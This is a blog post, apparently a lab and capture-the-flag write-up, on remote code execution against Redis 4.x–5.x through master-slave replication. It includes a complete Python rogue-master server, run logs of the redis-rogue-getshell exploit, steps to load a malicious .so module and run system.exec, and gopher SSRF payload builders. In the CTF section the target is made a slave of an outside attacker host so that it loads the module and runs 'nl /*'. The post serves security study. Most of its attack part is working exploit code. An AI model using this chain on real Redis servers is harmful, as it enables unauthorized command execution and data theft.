redis 主从复制 RCE

Posted by inhann on 2021-09-14
Page views

[toc]

redis 主从复制 RCE

漏洞分析

漏洞的详细原理:

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

环境

1
2
3
4
ant 10.0.1.4
bee 10.0.1.5
kali 10.0.1.8
redis-server 5.0.7 (这个漏洞针对 redis4.x~5.x)

先把 /etc/redis.conf 改一改

image-20210913145433580

image-20210913145918458

bind 127.0.0.1 ::1 这行注释掉,这样一来redis-server 的 host 就默认是 0.0.0.0,把 protected-mode yes 改成 protected-mode no,关闭默认打开 保护模式这个选项

主从复制

最开始 ant 是有 test 这个键的,bee 没有 :

image-20210913151123816

将 bee 设置为 ant 的 slave,就有 test 这个键了:

image-20210913151312128

slave 不能写,只能读

image-20210913151353350

master 能写,也能读

image-20210913151437976

流量分析

bee 打完 slaveof 命令,就会给 ant 发个 PSYNC 命令

如果 slave 给 master 发送 PSYNC ,则 master 先 响应 FULLRESYNC 命令,紧接着就是 payload ,而 payload 并不是直接到达 slave 的内存,而是写到 slave 的 dbfile 中,然后 slave 从 dbfile 中读进 内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
inhann@ubuntu:~$ redis-cli
127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
127.0.0.1:6379> CONFIG SET dbfilename fuck.txt
OK
127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379> SLAVEOF 10.0.1.4 6379
OK
127.0.0.1:6379> keys *
1) "flag"
127.0.0.1:6379>
inhann@ubuntu:~$ sudo ls /var/lib/redis/ | grep fuck
fuck.txt

image-20210914104941738

分析流量:

image-20210914105547850

image-20210914110159601

当收到 slave 的 PSYNC 命令后,master发送 FULLRESYNC 命令,后面跟着许多 payload

看看 dbfile 的内容:

image-20210914105740277

可以分析出 master 的 响应的 大致结构:

1
+FULLRESYNC <c*40> 1484\r\n$<len_payload>\r\n<paylodd>

任意文件写

先连接上 redis-server ,如果权限满足,可以先让 redis-server 执行 config set dir /var/www/htmlconfig set dbfilename exp.txt,然后执行 slaveof 命令,成为恶意 master 的 slave ,恶意 master 在接收到 redis-server 的 PSYNC 命令后,返回 FULLRESYNC 命令,并将 payload 紧跟着发送。最终 payload 被写到 redis-server 的 /var/www/html/exp.txt 当中

实验一下:

kali 10.0.1.8

跑恶意 master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#用 redis-rogue-getshell 中的 redis-master.py 魔改
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')

DELIMITER = b"\r\n"

class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]

return data.strip().split()

def handle(self):
while True:
data = self.request.recv(1024)
print(data)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break

self.finish()

def finish(self):
self.request.close()

class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True

def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload

if __name__=='__main__':
expfile = '/home/inhann/flag.txt'
lport = 6666
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
print("[+] listening ......")
server.handle_request()
print("[+] completed ~~~")
1
2
3
┌──(inhann㉿kali)-[~/kali]
└─$ cat /home/inhann/flag.txt
flag{redis_falgfalg}
1
2
3
┌──(inhann㉿kali)-[~/kali]
└─$ python3 redis_server.py
[+] listening .....

bee 10.0.1.5

1
2
3
4
5
6
7
8
9
10
inhann@ubuntu:~$ redis-cli
127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
127.0.0.1:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "flag.txt"
127.0.0.1:6379> SLAVEOF 10.0.1.8 6666
OK
127.0.0.1:6379>

成功:

image-20210914113528435

image-20210914113515374

redis 加载 恶意 .so

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

image-20210918135140927

主从复制 rce

可以把 恶意 .so 写到 slave 的 dbfile 中,然后让 slave module load ,最终就能在 slave 上执行 system.exec 这样的恶意命令

vulhub redis 4.x/5.x 未授权访问漏洞 复现

环境

https://github.com/vulhub/vulhub/tree/master/redis/4-unacc

直接用 exp:

https://github.com/vulhub/redis-rogue-getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
inhann@ubuntu:~/redis-rogue-getshell$ ./redis-master.py -r 127.0.0.1 -p 12345 -L 172.17.0.1 -P 8888 -f RedisModulesSDK/exp.so -c 'id'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n8888\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'PING\r\n'
>> receive data: b'REPLCONF listening-port 6379\r\n'
>> receive data: b'REPLCONF capa eof capa psync2\r\n'
>> receive data: b'PSYNC 265ee65ed1557b46d5e2d58fa6cc6f77021c329c 1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n'
>> receive data: b'$49\r\nJuid=999(redis) gid=999(redis) groups=999(redis)\n\r\n'
Juid=999(redis) gid=999(redis) groups=999(redis)

>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'+OK\r\n'
1
2
172.17.0.1 是 docker0 网卡的 ip
127.0.0.1 是docker 靶机的 ip,即本地搭起来的

一键执行任意命令了属于是

用 redis-cli 交互 从而攻击

编译好 .so

起一个 恶意 master

1
2
3
4
5
6
7
8
if __name__=='__main__':
expfile = '~/master_slave_rce/RedisModules-ExecuteCommand/module.so'
lport = 6666
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
print("[+] listening ......")
server.handle_request()
print("[+] completed ~~~")
1
2
3
4
5
6
7
8
9
10
11
root@ubuntu:~/Scripts# python -u "~/master_slave_rce/evil_server.py"
[+] listening ......
b'PING\r\n'
>> receive data: b'PING\r\n'
b'REPLCONF listening-port 6379\r\n'
>> receive data: b'REPLCONF listening-port 6379\r\n'
b'REPLCONF capa eof capa psync2\r\n'
>> receive data: b'REPLCONF capa eof capa psync2\r\n'
b'PSYNC 15ebdc16637530d144891b65007c49a6f1081c31 1\r\n'
>> receive data: b'PSYNC 15ebdc16637530d144891b65007c49a6f1081c31 1\r\n'
[+] completed ~~~

slave 执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
inhann@ubuntu:~$ redis-cli -p 12345
127.0.0.1:12345> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
127.0.0.1:12345> CONFIG GET dir
1) "dir"
2) "/data"
127.0.0.1:12345> SLAVEOF 172.17.0.1 6666
OK
127.0.0.1:12345> MODULE LOAD /data/dump.rdb
OK
127.0.0.1:12345> system.exec id
"uid=999(redis) gid=999(redis) groups=999(redis)\n"

image-20210914115945146

用 gopher 攻击

抓 请求的流量:

CONFIG GET dbfilename

1
CONFIG GET dbfilename

CONFIG GET dir

1
CONFIG GET dir

SLAVEOF 172.17.0.1 6666

1
SLAVEOF 172.17.0.1 6666

MODULE LOAD /data/dump.rdb

1
MODULE LOAD /data/dump.rdb

system.exec id

1
system.exec id

请求流量可以就是命令本身,这是redis 协议的 plaintext 形式

image-20210914121127400

因而构造 tcp 流:

1
2
3
4
5
from urllib.parse import quote
tcp_payload = "SLAVEOF 172.17.0.1 6666\r\nMODULE LOAD /data/dump.rdb\r\nsystem.exec id\r\n"
url = f"gopher://127.0.0.1:12345/_{quote(tcp_payload)}"
print(url)
#gopher://127.0.0.1:12345/_SLAVEOF%20172.17.0.1%206666%0D%0AMODULE%20LOAD%20/data/dump.rdb%0D%0Asystem.exec%20id%0D%0A

因为已经知道了 dbfilename 还有 dir ,就直接用了

打靶机:

image-20210914140818153

第一次没成功,应该是因为 exp.so 还没写完就加载,第二次就成功了,因为此时 exp.so 已经写完了

[网鼎杯 2020 玄武组]SSRFMe

只能用4个协议

1
http|https|gopher|dict
1
?url=http://0.0.0.0/hint.php

http://0.0.0.0/hint.php 用于 curl

1
2
3
4
5
6
7
8
//hint.php
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

应该是要打 redis

1
6379

image-20210910140813164

1
2
3
4
5
6
7
8
9
from urllib.parse import quote
import requests
tcp_payload = "auth root\r\nconfig get dir\r\nquit\r\n"
print(tcp_payload)
inner_url = f"gopher://0.0.0.0:6379/_{quote(quote(tcp_payload))}"
# print(inner_url)
url = "http://ecc9a50f-0c9d-4c22-b655-95bb7fbedbf5.node4.buuoj.cn:81/?url=" + inner_url
resp = requests.get(url)
print(resp.text)

image-20210914131723923

image-20210914131757767

远程搭建 恶意 master:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#用 redis-rogue-getshell 中的 redis-master.py 魔改
# evil_server.py
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')

DELIMITER = b"\r\n"

class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]

return data.strip().split()

def handle(self):
while True:
data = self.request.recv(1024)
print(data)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break

self.finish()

def finish(self):
self.request.close()

class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True

def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload

if __name__=='__main__':
expfile = '~/sss/module.so'
lport = 6666
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
print("[+] listening ......")
server.handle_request()
print("[+] completed ~~~")

恶意 .so ,放到 ~/sss/module.so

打 靶机:

1
2
3
4
5
6
7
8
9
from urllib.parse import quote
import requests
tcp_payload = "auth root\r\nSLAVEOF 49.00.13.21 6666\r\nMODULE LOAD /var/lib/redis/dump.rdb\r\nsystem.exec 'nl /*'\r\nquit\r\n"
print(tcp_payload)
inner_url = f"gopher://0.0.0.0:6379/_{quote(quote(tcp_payload))}"
# print(inner_url)
url = "http://ecc9a50f-0c9d-4c22-b655-95bb7fbedbf5.node4.buuoj.cn:81/?url=" + inner_url
resp = requests.get(url)
print(resp.text)

请求两次,成功执行命令 nl /*

image-20210914134826957